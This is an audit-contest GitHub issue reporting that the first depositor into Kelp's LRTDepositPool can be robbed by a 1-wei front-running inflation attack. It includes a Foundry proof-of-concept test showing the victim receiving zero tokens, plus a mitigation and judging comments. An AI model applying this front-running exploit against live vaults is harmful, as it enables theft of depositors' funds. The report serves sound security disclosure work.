code-423n4 / 2023-11-kelp-findings

13 stars 11 forks source link

First depositor is vulnerable to inflation attack #218

Closed c4-submissions closed 11 months ago

c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L136 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52-L79

Vulnerability details

Impact

User who deposits first into LRTDepositPool can be a victim of an inflation attack. An attacker can frontrun the deposit transaction with a "one wei" deposit, which will result in the greatly reduced amount of minted tokens.

Proof of Concept

Here is the flow of the deposit operation:

Here is the forge test

contract C4 is LRTDepositPoolTest {
    address public rETHAddress;
    LRTOracle oracle;
    function setUp() public override {
        super.setUp();

        LRTOracle oracleImpl = new LRTOracle();
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(oracleImpl),
            address(proxyAdmin),
            ""
        );
        oracle = LRTOracle(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));
        oracle.initialize(address(lrtConfig));
        rETHAddress = address(rETH);

        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        vm.stopPrank();

        vm.startPrank(manager);
        oracle.updatePriceOracleFor(address(stETH), address(new LRTOracleMock())); 
        oracle.updatePriceOracleFor(address(rETH), address(new LRTOracleMock())); 
        oracle.updatePriceOracleFor(address(cbETH), address(new LRTOracleMock())); 
        vm.stopPrank();
    }

    function testInflationAttack() external {
        // frontrun Alice and deposit 1 wei
        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(address(stETH), 1);
        vm.stopPrank();
        // Alice will receive nothing
        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), 6 ether);
        lrtDepositPool.depositAsset(address(stETH), 6 ether);
        vm.stopPrank();
        assertEq(rseth.balanceOf(alice), 0);
    }
}

Tools Used

Foundry, LRTDepositPoolTest.t.sol

Recommended Mitigation Steps

Consider preminting some amount of rsETH during the pool deployment.

Assessed type

ERC4626

c4-pre-sort commented 11 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 11 months ago

raymondfam marked the issue as duplicate of #42

c4-judge commented 10 months ago

fatherGoose1 marked the issue as satisfactory

c4-judge commented 10 months ago

fatherGoose1 changed the severity to 3 (High Risk)